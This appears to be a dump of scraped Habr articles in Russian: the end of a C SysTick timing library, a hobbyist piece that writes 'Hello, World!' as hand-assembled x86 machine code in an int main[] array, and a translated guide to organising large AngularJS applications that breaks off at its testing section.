\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*/
int32\_t this\_moment\_dif\_us( STimeStamp \*stm, STimeStamp \*tm );
int32\_t this\_moment\_gap\_us( STimeStamp \*stm, STimeStamp \*tm );
/\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
\* shift the moment at timeline by us
\* 1 us = 1/1000 ms
\*
\* tm - this moment
\* dtm - shift of this moment by us
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*/
void this\_moment\_shft\_us( \_\_IO STimeStamp \*tm, int32\_t tdm );
#ifdef \_\_cplusplus
}
#endif
#endif /\* TM\_THIS\_MOMENT\_H\_ \*/
```
#### Исходный код
```
/******************************************************************************
* File: this_moment.c Created on Jan 6, 2022
*
* Copyright (c) 2022, "Nikolay E. Garbuz"
\*
\* This program is free software: you can redistribute it and/or modify
\* it under the terms of the GNU General Public License version 3 as
\* published by the Free Software Foundation.
\*
\* This program is distributed in the hope that it will be useful,
\* but WITHOUT ANY WARRANTY; without even the implied warranty of
\* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
\* GNU General Public License for more details.
\*
\* You should have received a copy of the GNU General Public License
\* along with this program. If not, see .
\*
\* Authored by "Nikolay E. Garbuz"
\* Modified by
\*
\* TAB Size .EQ 4
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*/
#include
#pragma GCC push\_options
#pragma GCC optimize ("Os")
/\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
\* constants witch will calculated by runtime
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*/
\_\_IO int32\_t tm\_corrector = 0;
\_\_IO int32\_t tm\_lad\_cc = 1;
\_\_IO int32\_t tm\_lad\_us = 1;
/\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
\* helper macros
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*/
//--------------------------------------------
#define SYSTICK\_SYNC( t ) \
while( ( (\*SysTick).VAL & SysTick\_VAL\_CURRENT\_Msk ) < t )
//--------------------------------------------
#define M\_DIF( dff\_cc, stm, tm ) \
\
dff\_cc = tm->ms; \
dff\_cc -= stm->ms; \
dff\_cc \*= tm\_lad\_cc; \
dff\_cc += stm->cc; \
dff\_cc -= tm->cc
//--------------------------------------------
#define M\_GAP( dff\_cc ) \
\
if ( dff\_cc > 0 ) \
dff\_cc -= tm\_corrector; \
else \
dff\_cc += tm\_corrector
//--------------------------------------------
#define M\_SHFT( dms, dcc, tm, dtm ) \
\
dms = dtm / tm\_lad\_cc; \
dcc = dtm - ( dms \* tm\_lad\_cc ); \
dcc = tm->cc - dcc; \
\
if ( dcc < 0 ) \
dcc += tm\_lad\_cc, dms++; \
\
if ( dcc >= tm\_lad\_cc ) \
dcc -= tm\_lad\_cc, dms--; \
\
tm->ms += dms; \
tm->cc = dcc
//--------------------------------------------
#define M\_TO\_US( sgn, dff\_cc, dff\_us ) \
\
sgn = ( tm\_lad\_us >> 1 ); \
if ( dff\_cc < 0 ) \
sgn \*= -1; \
\
dff\_us = ( dff\_cc + sgn ) / tm\_lad\_us \
/\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
\* helper functions
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*/
void this\_moment\_sync( uint32\_t stc )
{
SYSTICK\_SYNC( stc );
}
/\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
\* service functions
\* do it first and one time before any others
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*/
void \_\_attribute\_\_((optimize("Og"))) this\_moment\_calibrate()
{
\_\_IO STimeStamp stm;
\_\_IO STimeStamp tm;
// Initialize the global variables
tm\_lad\_cc = ( ( \*SysTick ).LOAD & SysTick\_LOAD\_RELOAD\_Msk ) + 1;
tm\_lad\_us = (int32\_t) ( SystemCoreClock / TM\_US\_RANGE );
tm\_corrector = 0;
this\_moment\_sync( tm\_lad\_cc >> 1 );
this\_moment( &stm );
this\_moment( &tm );
tm\_corrector = this\_moment\_gap( &stm, &tm );
}
/\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
\* remember the current moment
\*
\* ret: tm - this moment
\*
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*/
void \_\_attribute\_\_((optimize("Os"))) this\_moment( STimeStamp \*tm )
{
register int32\_t rc;
register uint32\_t rm;
while ( ( rc = ( \*SysTick ).VAL ) < 7 )
;
rm = TM\_MS\_TICK;
tm->cc = rc;
tm->ms = rm;
}
/\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
\* compare two moments by timeline
\*
\* stm - start moment
\* tm - this moment
\*
\* ret: ( 1 ) if stm > tm // stm earlier tm
\* ret: ( 0 ) if stm == tm // stm equal tm
\* ret: (-1 ) if stm < tm // stm later tm
\*
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*/
int32\_t this\_moment\_cmp( STimeStamp \*stm, STimeStamp \*tm )
{
register int32\_t result = 0;
if ( stm->ms == tm->ms )
{
if ( stm->cc != tm->cc )
{
if ( stm->cc > tm->cc )
result = 1;
else
result = -1;
}
}
else
{
if ( stm->ms < tm->ms )
result = 1;
else
result = -1;
}
return result;
}
/\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
\* measuring diff between two moments in cpu clocks
\*
\* stm - start moment
\* tm - this moment
\*
\* ret: (int32\_t) diff between stm and tm in cpu clocks
\*
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*/
int32\_t this\_moment\_dif( STimeStamp \*stm, STimeStamp \*tm )
{
register int32\_t dff\_cc;
M\_DIF( dff\_cc, stm, tm );
return dff\_cc;
}
/\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
\* measuring gap between two moments in cpu clocks
\*
\* stm - start moment
\* tm - this moment
\*
\* ret: (int32\_t) gap between stm and tm in cpu clocks
\*
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*/
int32\_t this\_moment\_gap( STimeStamp \*stm, STimeStamp \*tm )
{
register int32\_t dff\_cc;
M\_DIF( dff\_cc, stm, tm );
M\_GAP( dff\_cc );
return dff\_cc;
}
/\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
\* shift the moment at timeline by cpu clocks
\*
\* tm - this moment
\* dtm - shift of this moment by cpu clocks
\*
\* ret: tm shifted by cpu clocks
\*
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*/
void this\_moment\_shft( STimeStamp \*tm, int32\_t dtm )
{
int32\_t dms, dcc;
M\_SHFT( dms, dcc, tm, dtm );
}
/\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
\* measuring diff between two moments in us
\* 1 us = 1/1000 ms
\*
\* stm - start moment
\* tm - this moment
\*
\* ret: (int32\_t) diff between stm and tm in us
\*
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*/
int32\_t this\_moment\_dif\_us( STimeStamp \*stm, STimeStamp \*tm )
{
int32\_t sng, dff\_cc, dff\_us;
M\_DIF( dff\_cc, stm, tm );
M\_TO\_US( sng, dff\_cc, dff\_us );
return dff\_us;
}
/\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
\* measuring gap between two moments in us
\* 1 us = 1/1000 ms
\*
\* stm - start moment
\* tm - this moment
\*
\* ret: (int32\_t) gap between stm and tm in us
\*
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*/
int32\_t this\_moment\_gap\_us( STimeStamp \*stm, STimeStamp \*tm )
{
int32\_t sgn, dff\_cc, dff\_us;
M\_DIF( dff\_cc, stm, tm );
M\_GAP( dff\_cc );
M\_TO\_US( sgn, dff\_cc, dff\_us );
return dff\_us;
}
/\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
\* shift the moment at timeline by us
\* 1 us = 1/1000 ms
\*
\* tm - this moment
\* dus - shift of this moment by us
\*
\* ret: tm shifted by us
\*
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*/
void this\_moment\_shft\_us( STimeStamp \*tm, int32\_t dtm )
{
int32\_t dms, dcc;
dtm \*= tm\_lad\_us;
M\_SHFT( dms, dcc, tm, dtm );
}
#pragma GCC pop\_options
``` | https://habr.com/ru/post/599727/ | null | ru | null |
# «Hello World!» на C массивом int main[]
Я хотел бы рассказать о том, как я писал реализацию «Hello, World!» на C. Для подогрева сразу покажу код. Кого интересует как до этого доходил я, добро пожаловать под кат.
```
#include
const void \*ptrprintf = printf;
#pragma section(".exre", execute, read)
\_\_declspec(allocate(".exre")) int main[] =
{
0x646C6890, 0x20680021, 0x68726F57,
0x2C6F6C6C, 0x48000068, 0x24448D65,
0x15FF5002, &ptrprintf, 0xC314C483
};
```
Предисловие
===========
Итак, начал я с того, что нашел эту [статью](http://tproger.ru/translations/main-is-usually-a-function-so-then-when-is-it-not/). Вдохновившись ею, я стал думать, как сделать это на windows.
В той статье вывод на экран был реализован с помощью syscall, но в windows мы сможем использовать только функцию printf. Возможно я ошибаюсь, но ничего иного я так и не нашел.
Набравшись смелости и взяв в руки visual studio я стал пробовать. Не знаю, зачем я так долго возился с тем, чтобы подставлять entry point в настройках компиляции, но как выяснилось позже компилятор visual studio даже не кидает warning если main является массивом, а не функцией.
Основной список проблем, с которыми мне пришлось столкнуться:
[1) Массив находится в секции данных и не может быть исполнен](#execarray)
[2) В windows нет syscall и вывод нужно реализовать с помощью printf](#funccall)
Поясню чем тут плох вызов функции. Обычно адрес вызова подставляется компилятором из таблицы символов, если я не ошибаюсь. Но у нас ведь обычный массив, где мы сами должны написать адрес.
Решение проблемы «исполняемых данных»
-------------------------------------
Первая проблема, с которой я столкнулся, ожидаемо оказалось то, что простой массив хранится в секции данных и не может быть исполнен, как код. Но немного покопав stackoverflow и msdn я все же нашел выход. Компилятор visual studio поддерживает препроцессорную директиву [section](https://msdn.microsoft.com/en-us/library/50bewfwa.aspx) и можно объявить переменную так, чтобы она оказалась в секции с разрешением на исполнение.
Проверив, так ли это, я убедился, что это работает и ~~функция~~ массив main спокойно исполняет opcode ret и не вызывает ошибки «Access violation».
```
#pragma section(".exre", execute, read)
__declspec(allocate(".exre")) char main[] = { 0xC3 };
```
### Немного ассемблера
Теперь, когда я мог исполнять массив нужно было составить код который будет выполняться.
Я решил, что сообщение «Hello, World» я буду хранить в ассемблерном коде. Сразу скажу, что ассемблер я понимаю достаточно плохо, поэтому прошу сильно тапками не кидаться, но критика приветствуется. В понимании того, какой ассемблерный код можно вставить и не вызывать лишних функций мне помог этот ответ на [stackoverfow](http://stackoverflow.com/a/4025307/4109062)
Я взял notepad++ и с помощью функции plugins->converter->«ASCII -> HEX» получил код символов.
```
Hello, World!
```
```
48656C6C6F2C20576F726C6421
```
Далее нам нужно разделить по 4 байта и положить на стек в обратном порядке, не забыв перевернуть в little-endian.
**Делим, переворачиваем.**Добавим в конец терминальный ноль.
```
48656C6C6F2C20576F726C642100
```
Делим с конца на 4 байтные hex числа.
```
00004865 6C6C6F2C 20576F72 6C642100
```
Переворачиваем в little-endian и меняем порядок на обратный
```
0x0021646C 0x726F5720 0x2C6F6C6C 0x65480000
```
Я немного опустил момент с тем, как я пытался напрямую вызывать printf и чтобы сохранить потом этот адрес в массиве. Получилось у меня только сохранив указатель на printf. Позже будет видно почему так.
```
#include
const void \*ptrprintf = printf;
void main() {
\_\_asm {
push 0x0021646C ; "ld!\0"
push 0x726F5720 ; " Wor"
push 0x2C6F6C6C ; "llo,"
push 0x65480000 ; "\0\0He"
lea eax, [esp+2] ; eax -> "Hello, World!"
push eax ; указатель на начало строки пушим на стек
call ptrprintf ; вызываем printf
add esp, 20 ; чистим стек
}
}
```
Компилируем и смотрим дизассемблер.
```
00A8B001 68 6C 64 21 00 push 21646Ch
00A8B006 68 20 57 6F 72 push 726F5720h
00A8B00B 68 6C 6C 6F 2C push 2C6F6C6Ch
00A8B010 68 00 00 48 65 push 65480000h
00A8B015 8D 44 24 02 lea eax,[esp+2]
00A8B019 50 push eax
00A8B01A FF 15 00 90 A8 00 call dword ptr [ptrprintf (0A89000h)]
00A8B020 83 C4 14 add esp,14h
00A8B023 C3 ret
```
Отсюда нам нужно взять байты кода.
**Чтобы вручную не убирать ассемблерный код можно воспользоваться регулярными выражениями в notepad++.**Регулярное выражение для последовательности после байтов кода:
```
{2} *.*
```
Начало строк можно убрать с помощью плагина для notepad++ TextFx:
TextFX->«TextFx Tools»->«Delete Line Numbers or First Word», выделив все строки.
После чего у нас уже будет почти готовая последовательность кода для массива.
```
68 6C 64 21 00
68 20 57 6F 72
68 6C 6C 6F 2C
68 00 00 48 65
8D 44 24 02
50
FF 15 00 90 A8 00 ; После FF 15 следующие 4 байта должны быть адресом вызываемой фунцкии
83 C4 14
C3
```
Вызов функции с «заранее известным» адресом
-------------------------------------------
Я долго думал, как же можно оставить в готовой последовательности адрес из таблицы функций, если это знает только компилятор. И немного поспрашивав у знакомых программистов и поэкспериментировав я понял, что адрес вызываемой функции можно получить с помощью операции взятия адреса от переменной указателя на функцию. Что я и сделал.
```
#include
const void \*ptrprintf = printf;
void main()
{
void \*funccall = &ptrprintf
\_\_asm {
call ptrprintf
}
}
```
Как видно в указателе лежит именно тот самый вызываемый адрес. То, что нужно.
### Собираем все вместе
Итак, у нас есть последовательность байт ассемблерного кода, среди которых нам нужно оставить выражение, которое компилятор преобразует в адрес, нужный нам для вызова printf. Адрес у нас 4 байтный(т.к. пишем для код для 32 разрядной платформы), значит и массив должен содержать 4 байтные значения, причем так, чтобы после байт FF 15 у нас шел следующий элемент, куда мы и будем помещать наш адрес.
**Путем нехитрых подстановок получаем искомую последовательность.**Берем полученную ранее [последовательность байт](#byteasm) нашего ассемблерного кода. Отталкиваясь от того, что 4 байта после FF 15 у нас должны составлять одно значение форматируем под них. А недостающие байты заменим на операцию nop с кодом 0x90.
```
90 68 6C 64
21 00 68 20
57 6F 72 68
6C 6C 6F 2C
68 00 00 48
65 8D 44 24
02 50 FF 15
00 90 A8 00 ; адрес для вызова printf
83 C4 14 C3
```
И опять составим 4 байтные значения в little-endian. Для переноса столбцов очень полезно использовать многострочное выделение в notepad++ с комбинацией alt+shift:
```
646C6890
20680021
68726F57
2C6F6C6C
48000068
24448D65
15FF5002
00000000 ; адрес для вызова printf, далее будет заменен на выражение
C314C483
```
Теперь у нас есть последовательность 4 байтных чисел и адрес для вызова функции printf и мы можем наконец заполнить наш массив main.
```
#include
const void \*ptrprintf = printf;
#pragma section(".exre", execute, read)
\_\_declspec(allocate(".exre")) int main[] =
{
0x646C6890, 0x20680021, 0x68726F57,
0x2C6F6C6C, 0x48000068, 0x24448D65,
0x15FF5002, &ptrprintf, 0xC314C483
};
```
Для того чтобы вызывать break point в дебаггере visual studio надо заменить первый элемент массива на 0x646C68**CC**
Запускаем, смотрим.
Готово!
Заключение
==========
Я извиняюсь если кому-то статья показалась «для самых маленьких». Я постарался максимально подробно описать сам процесс и опустить очевидные вещи. Хотел поделиться собственным опытом такого небольшого исследования. Буду рад если статья окажется кому-то интересной, а возможно и полезной.
Оставлю тут все приведенные ссылки:
[Статья «main usually a function»](http://tproger.ru/translations/main-is-usually-a-function-so-then-when-is-it-not/)
[Описание section на msdn](https://msdn.microsoft.com/en-us/library/50bewfwa.aspx)
[Некоторое объяснение ассемблерного кода на stackoverflow](http://stackoverflow.com/a/4025307/4109062)
И на всякий случай оставлю [ссылку на 7z архив с проектом под visual studio 2013](https://dl.dropboxusercontent.com/u/94468957/code/main_array.7z)
Также не исключаю, что можно было ещё сократить вызов printf и использовать другой код вызова функции, но я не успел исследовать этот вопрос.
Буду рад вашим отзывам и замечаниям. | https://habr.com/ru/post/275861/ | null | ru | null |
# Создание огроооомных приложений на AngularJS
Документация по Ангуляру отлично подходит для начала работы и ковыряния в API. Однако, она не объясняет как организовать и управлять приложением, когда оно разрастется до десятков или сотен тысяч строк кода. Я собрал здесь некоторые из моих наблюдений и передового опыта по управлению расползающимися приложениями. Сначала взглянем на организацию, затем перейдем к некоторым советам по улучшению производительности и закончим краткой сводкой по инструментам, серверам и процессу сборки. Этот пост будет сосредоточен на больших приложениях, в частности, есть отличная статья по [лучшим практикам AngularJS](http://habrahabr.ru/post/181882/) с декабрьской встречи, на которую также стоит взглянуть.
#### Не пишите огромные приложения
Лучший совет по огромным приложениям не делать их. Пишите небольшие сфокусированные модульные части и постепенно объединяйте их в более крупные вещи, чтобы собрать приложение. (Этот совет дал хакер node.js, крутой, во всех отношениях, чувак [@substack](https://twitter.com/substack)).
#### Организация
Вероятно, самый большой вопрос по большими приложениям, куда же поместить весь код. В набор вещей, требующих организации, попадают файлы, каталоги, модули, сервисы и контроллеры. Для быстрого обзора хорошей структуры проекта, посмотрите [шаблонный проект AngularJS на Github](https://github.com/angular/angular-seed). Тем не менее хотел бы копнуть глубже и предложить некоторые дополнительные рекомендации по структуре проекта. Давайте начнем с каталогов и будем двигаться вниз по списку.
##### Каталоги
Типичная рекомендуемая мной структура папок:
```
root-app-folder
├── index.html
├── scripts
│ ├── controllers
│ │ └── main.js
│ │ └── ...
│ ├── directives
│ │ └── myDirective.js
│ │ └── ...
│ ├── filters
│ │ └── myFilter.js
│ │ └── ...
│ ├── services
│ │ └── myService.js
│ │ └── ...
│ ├── vendor
│ │ ├── angular.js
│ │ ├── angular.min.js
│ │ ├── es5-shim.min.js
│ │ └── json3.min.js
│ └── app.js
├── styles
│ └── ...
└── views
├── main.html
└── ...
```
По мере добавления новых файлов, возможно, имеет смысл создавать подкаталоги для дальнейшей организации контроллеров и услуг. Например, часто ловлю себя на том, что делаю каталог `models` внутри `services`. Как правило так же сортирую файлы по каталогам, если существует некоторая рациональная иерархия с помощью которой можно организовать хранение файлов.
На тему организации кода читайте так же [Организация кода в больших AngularJS и JavaScript приложениях](http://habrahabr.ru/post/180837/) *(прим. переводчика)*
##### Файлы
Каждый файл должен содержать одну «сущность», где «сущность» представляет собой контроллер, директиву, фильтр или сервис. Это позволяет, как минимум, сфокусировать файлы. Также помогает создать лакмусовую бумажку для тестирования API. Если обнаружили, что листаете файлы вперед и назад слишком часто, это признак того, что ваши API-интерфейсы слишком сложные. Необходимо переосмыслить, реорганизовать и упростить их.
Хотел бы сделать исключение для тесно связанных директив. Например, если имеется директива ```, обращающаяся к как к родителю, то они должны быть в одном файле.
##### Модули
Определяйте и настраивайте все модули в app.js`:
```
angular.module('yourAppName', ['yourAppDep']);
angular.module('yourAppDep');
```
Определяйте контроллеры, сервисы и т.д. в модулях следующим образом:
```
angular.module('yourAppDep').controller('MyCtrl', function () {
// ...
});
```
Хотя мы (команда Ангуляра) обсуждали возможность ленивой загрузки модульной структуры, она еще не входит в [планы следующей версии Ангуляра](http://blog.angularjs.org/2012/07/angularjs-10-12-roadmap.html). Было хорошее обсуждение на Google+ [об использовании составных высокоуровневых приложений приложения для достижения эффекта ленивой загрузки](https://plus.google.com/u/0/108076675731922659261/posts/RJfNJoUqxHv). Не пробовал так делать, но если отчаянно нуждаетесь в уменьшении размера полезной нагрузки, что, безусловно, там показан один из способов.
Единственный оставшийся вопрос, каким образом разделить контроллеры, директивы, сервисы и фильтры на модули. Шаблонный проект Ангуляра выносит фильтры, сервисы и директивы в отдельные модули, но мне это кажется немного глупым. В зависимости от приложения, был бы более склонен организовать модули по страницам/маршрутам. С точки зрения производительности, не имеет значения, как вы организуете модули, так что выберите сами, какой метод лучше всего подходит для вашего проекта.
##### Зависимости
В целом, сервисы, контроллеры, директивы и т.д., должны иметь настолько мало зависимостей насколько это возможно. Это хорошая практика разработки программного обеспечения в целом, поэтому стоит её упомянуть. Такой подход так же поможет в тестировании.
API-интерфейсы должны быть многоуровневыми. Не следует разносить контроллеры по разным уровням абстракции.
##### Директивы
Используйте уникальный префикс для директив в приложении. Это позволит избежать пересечений со сторонними компонентами. Что касается сторонних компонентов, есть растущее сообщество на сайте под названием [ngmodules](http://ngmodules.org/), которое выглядит многообещающим.
Например, если ваше приложение называется «The Best Todo List App Ever», можете начинать директивы с префикса «btla».
```
angular.module('yourAppDep').directive('btlaControlPanel', function () {
// ...
});
```
Можно обеспокоиться тем, что имена станут слишком длинными, но я не видел, чтобы это стало проблемой. Благодаря GZIP-сжатию производительность не упадет из-за длинных названий директив.
##### Сервисы
```
angular.module('yourAppDep').service('MyCtrl', function () {
// ...
});
```
##### Модели
Ангуляр выделяется среди яваскипт-фреймворков тем, что дает полный контроль над уровнем модели. Думаю, что это одна из самых сильных сторон Ангуляра, потому что в основе приложения лежат данные, и данные резко изменяются от приложения к приложению. Самая лучшая рекомендация принимать во внимание то, как данные будут использоваться и храниться.
Если используете NoSQL хранилища данных, такие как CouchDB или MongoDB, можно будет использовать в качестве контента чистые JavaScript-объекты (POJO) и функциональных помощников. Если используете реляционную базу данных, как MySQL, можете использовать псевдо-классы с методами мутации, сериализации и десериализации данных. Если сервер предоставляет RESTful-интерфейс, сервис [$resource](http://www.angular.ru/api/ngResource.$resource) станет хорошей площадкой для начала. Это всего лишь предложения, любые из этих подходов могут быть полезны вне ситуаций, которые описал. Вариантов так много, что иногда сложно принять решение. Но раздумья об организации данных окупятся.
В основном, можно найти много отличных инструменты для работы с моделями в [Underscore.js](http://documentcloud.github.com/underscore/), библиотеке, которая также используется в Backbone.js.
##### Контроллеры
По соглашению, имена контроллеров должны начинаться с заглавной буквы и заканчиваться на "Ctrl".
```
angular.module('yourAppDep').controller('MyCtrl', function () {
// ...
});
```
Помните, что контроллеры могут использоваться повторно. Это кажется очевидным, но я поймал себя на повторной реализации функций в разных контроллерах. Рассмотрим, например, пользовательскую панель управления, которая позволяет пользователю изменять параметры программы и диалоговое окно, предлагающее пользователю менять настройку. Оба могли бы использовать общий контроллер.
#### Производительность
Ангуляровские приложения, как правило, очень и очень быстрые. Большинство приложений действительно не требуют никакой специальной оптимизации, так что если не испытываете проблем с производительностью, лучше потратить время на улучшение приложения в других отношениях. В исключительных случаях Ангуляр обеспечивает отличные способы решения проблем с производительностью. Во-первых, важно определить причину снижения производительности. Для этого очень рекомендую расширение [Batarang](https://github.com/angular/angularjs-batarang) для Хрома или встроенное в Хром [профилирование процессора](https://developers.google.com/chrome-developer-tools/docs/cpu-profiling).
##### Оптимизация цикла переваривания (digest)
Ангуляр использует грязную проверку в цикле «переваривания». Непосвященные могут прочитать больше о цикле переваривания в [официальной документации](http://www.angular.ru/guide/concepts) и в [этом ответе на StackOverflow](http://stackoverflow.com/a/9693933/668921).
Иногда хочется избежать цикла переваривания. Одной из распространенных ситуации в приложениях реального времени, использующих веб-сокеты, является то, что при получении сообщений не всегда хочется запускать переваривание. Рассмотрим игру в режиме реального времени, в которой сообщения отправляются с сервера более 30 раз в секунду.
```
app.factory('socket', function ($rootScope) {
var socket = io.connect();
return {
on: function (eventName, callback) {
socket.on(eventName, function () { // может происходить много раз в секунду
var args = arguments;
$rootScope.$apply(function () {
callback.apply(socket, args);
});
});
}
// ...
};
});
```
Один из отличных способов справиться с этим, это «задушить» запросы, чтобы запускать переваривание лишь несколько раз в секунду. [Underscore.js](http://documentcloud.github.com/underscore/#throttle) предоставляет такую функцию, но её [реализация](https://github.com/documentcloud/underscore/blob/master/underscore.js#L626) миниатюрна, так что воспроизвел ее внутри сервиса `socket` ниже:
```
app.factory('socket', function ($rootScope) {
// Underscore.js 1.4.3
// http://underscorejs.org
// (c) 2009-2012 Jeremy Ashkenas, DocumentCloud Inc.
// Underscore may be freely distributed under the MIT license.
// _.throttle
// https://github.com/documentcloud/underscore/blob/master/underscore.js#L626
// Returns a function, that, when invoked, will only be triggered at most once
// during a given window of time.
var throttle = function (func, wait) {
var context, args, timeout, result;
var previous = 0;
var later = function() {
previous = new Date();
timeout = null;
result = func.apply(context, args);
};
return function() {
var now = new Date();
var remaining = wait - (now - previous);
context = this;
args = arguments;
if (remaining <= 0) {
clearTimeout(timeout);
timeout = null;
previous = now;
result = func.apply(context, args);
} else if (!timeout) {
timeout = setTimeout(later, remaining);
}
return result;
};
};
var socket = io.connect();
return {
on: function (eventName, callback) {
socket.on(eventName, throttle(function () { // ограничиваем до одного раза в 500 мс
var args = arguments;
$rootScope.$apply(function () {
callback.apply(socket, args);
});
}, 500));
}
// ...
};
});
```
Так же известно, что входящие изменения влияют только на определенные области и можно провести грязную проверку только для них. В подобных случаях можно вызвать [$scope.$digest](http://www.angular.ru/api/ng.$rootScope.Scope#$digest) вместо `$scope.$apply`. `$digest` сработает только для области видимости, в которой он вызван и для всех дочерних областей видимости.
Наконец, чтобы поддерживать циклы переваривания короткими, выражения в [$scope.$watch](http://www.angular.ru/api/ng.$rootScope.Scope#$watch) должны быть как можно более быстрыми. По возможности, избегайте глубоких сравнений. Помните, что необходимо всего лишь сравнивать вещи, влияющие на вид.
##### Фильтры
Фильтры вызываются, по крайней мере, дважды в течение каждого цикла переваривания. По этой причине, лучше, если они легкие.
В случаях, когда данные загружаются и отображаются, но не изменяется, может быть лучше вынести логику преобразования из фильтра в место получения данных. На самом деле это довольно просто, так как фильтры Ангуляра можно использовать в программе с помощью сервиса [$filter](http://www.angular.ru/api/ng.$filter).
Например, загружается список имен в нижнем регистре в котором необходимо изменить первые буквы на заглавные, для чего используется фильтр, делающий такое преобразование:
```
{{someModel.name | titlecase}}
```
Довольно легко переместить его в контроллер и заменять первые буквы имен на заглавные при загрузке.
```
angular.module('myApp').controller('MyCtrl', function ($scope, $http, $filter) {
$http.get('/someModel')
.success(function (data) {
$scope.someModel = data;
// применяем тот же самый фильтр «titlecase» внутри контроллера после загрузки данных
$scope.someModel.name = $filter('titlecase')($scope.someModel.name);
});
});
```
В случаях, когда невозможно преобразовать данные во время выборки, [запоминание](http://ru.wikipedia.org/wiki/%D0%9C%D0%B5%D0%BC%D0%BE%D0%B8%D0%B7%D0%B0%D1%86%D0%B8%D1%8F) будет лучшим способом ускорения дорогостоящих фильтров без особого труда. Адди Османи написал довольно большую [статью о запоминании в JavaScript](http://addyosmani.com/blog/faster-javascript-memoization/), которую стоит прочесть. Что касается реализации, Underscore.js предоставляет отличные [запоминающие функции](https://github.com/documentcloud/underscore/blob/master/underscore.js#L626), которые можно использовать. Однако, этим методом не следует пользоваться вслепую. Запоминание помогает только при частых вызовах одного и того же фильтра без изменения модели. Для быстро меняющихся моделей, значения в которых слишком разнятся во время выполнения приложения, лучше не использовать запоминающие фильтры для таких данных.
Так же пару советов по оптимизации, можно прочитать [здесь](http://habrahabr.ru/post/182348/) *(прим. переводчика)*
#### Тестирование
